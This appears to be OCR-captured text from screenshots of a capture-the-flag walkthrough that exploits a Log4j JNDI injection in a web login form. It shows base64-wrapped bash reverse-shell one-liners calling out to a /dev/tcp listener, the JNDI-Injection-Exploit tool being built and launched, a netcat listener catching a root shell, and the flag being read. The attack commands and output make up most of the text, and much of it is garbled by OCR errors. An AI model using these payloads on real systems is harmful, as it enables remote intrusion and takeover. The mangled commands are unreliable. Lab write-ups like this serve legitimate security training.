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Username
Password

[J Remember me
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ok

R #shell:b B
bash -i >&/dev/tcp/x.x.x.x/[1111 0>&1
bash -c {echo, I [ fiy & base64%: i3 J5 1 W % }{base64,-d}|{bash,-i}

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}”’ -A
X.X.X.X

BRMNEH*T Basebd RISTHBEEBHNFTTF

bash -i >&/devitcp/ 311111 0=&1]
N vpsitbht

B8 Decode) | 1z (mitme. G- XD

Bazefd {FISEEERISER:
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[root@VM-12-17-centos ~]# cd JNDI-Injection-Exploit

[root@VM-12-17-centos JNDI-Injection-Exploit]l# mvn clean package -DskipTests

[INFO] Scanning for projects...

[WARNING]

[WARNING] Some problems were encountered while building the effective model for welkln:J]
DI-Injection-Exploit:jar:1.0-SNAPSHOT

[WARNING] 'build.plugins.plugin.version' for org.apache.maven.plugins:maven-compiler-plud

[root@VM-12-17-centos JNDI-Injection-Exploit]# 1s
LICENSE pom.xmlL README-CN.md README.md screenshots src target
[root@VM-12-17-centos JNDI-Injection-Exploit]# cd target/

[root@VM-12-17-centos JNDI-Injection-Exploit]# 1s

LICENSE pom.xml README-CN.md README.md screenshots src target

[root@VM-12-17-centos JNDI-Injection-Exploit]# cd target/

[root@VM-12-17-centos target]# java -jar JNDI-Injection-Exploit-1.@-SNAPSHOT-all.jar -C "
bash -c {echo,’ 1} |{baseb4, -d} | {bash
-1} AT

[ADDRESS] ==

[COMMAND] ==

arget environment(Build in whose trustURLCodebase is false and have Tomcat 8+ or Spr
ingBoot 1.2.x+ in classpath):

arget environment(suild in whose trustURLCodebase is true):

arget environment(Build in whose trustURLCodebase is true):
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[root@VM-12-17-centos ~]# nc -lvvp 1111
Ncat: Version 7.50 ( https://nmap.org/ncat )

Ncat: Listening on :::1111
Ncat: Listening on 0.0.0.0:1111

Please sign in

${${-jindirmiz// 'kkbk

(] Remember me

Server Log
[JETTYSERVER]== Listening on 0.6

01-14 14
-01-14 14

Ncat:
Ncat:
Ncat:
Ncat:
bash:
bash:

Listening on

Listening on 0.0.
Connection from 113.
Connection from 113 .
cannot set terminal process
no job control in this shell

[RMISERVER]

8 [LDAPSERVER]

[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]
[RMISERVER]

root@e94f6d7/b32bd: /# 1s

group (1):

Listening on @

Listening on 0.0.0.

Have connection

Reading message...

Is RMI.lookup call for kkhyoy 2

Sending local classloading reference.

Closing connection

Have connection from /113.201.14.253:52478

Reading message...
Is RMI.lookup call for kkhyoy 2

Sending local classloading reference.

Closing connection

Have connection from /113.201.14.253
Reading message...

Is RMI.lookup call for kkhyoy 2

Sending local classloading reference.

Closing connection
Have connection from /113.201.14.253
Reading message...

@FS

Inappropriate ioctl for device

152486

ecurity




root@l ” "~
1s

bin

boot

demo

dev

etc

flag

home

lib

1ibg4
media

mnt

opt

proc

root

run

sbin

5rv
start.sh
5Y5

tmp

usr

var
root@” " .. :/# cat flag
cat flag
flag{xajy_cazy_jyjyjy}
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